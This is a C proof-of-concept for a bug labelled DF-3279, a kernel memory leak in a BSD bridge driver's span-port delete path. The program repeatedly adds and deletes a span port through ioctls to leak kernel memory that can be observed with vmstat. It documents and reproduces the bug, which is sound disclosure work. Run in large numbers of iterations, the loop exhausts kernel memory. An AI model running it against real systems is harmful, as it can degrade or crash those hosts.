/*
 * DF-3279 -- struct bridge_ifinfo leak on span-port delete.
 *
 * bridge_ioctl_addspan() (if_bridge.c:1823) allocates bif_info for the
 * span bif; bridge_delete_span() (if_bridge.c:1155-1156) frees only the
 * bif, never bif_info.  Each spanport add/del cycle leaks
 * sizeof(struct bridge_ifinfo) (~136 bytes) of M_DEVBUF kernel memory.
 *
 * Run: ./span_leak <iterations>; watch `vmstat -m :devbuf` (in-use bytes)
 * grow by ~136 * iterations.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bridge/if_bridgevar.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>

static int s;

static void drvspec(const char *ifname, unsigned long cmd, int subcmd)
{
	struct ifbreq r;
	struct ifdrv ifd;

	memset(&r, 0, sizeof(r));
	strlcpy(r.ifbr_ifsname, "tap0", IFNAMSIZ);
	memset(&ifd, 0, sizeof(ifd));
	strlcpy(ifd.ifd_name, ifname, IFNAMSIZ);
	ifd.ifd_cmd = subcmd;
	ifd.ifd_len = sizeof(r);
	ifd.ifd_data = &r;
	if (ioctl(s, cmd, &ifd) < 0) {
		fprintf(stderr, "drvspec %d: %s\n", subcmd, strerror(errno));
		exit(1);
	}
}

int main(int argc, char **argv)
{
	long n, i;

	if (argc < 2)
		n = 5000;
	else
		n = atol(argv[1]);

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }

	printf("[+] running %ld spanport add/del cycles on bridge0/tap0\n", n);
	for (i = 0; i < n; i++) {
		drvspec("bridge0", SIOCSDRVSPEC, BRDGADDS);
		drvspec("bridge0", SIOCSDRVSPEC, BRDGDELS);
		if ((i % 500) == 0) {
			printf("    %ld\r", i);
			fflush(stdout);
		}
	}
	printf("[+] done: %ld cycles\n", n);
	return (0);
}
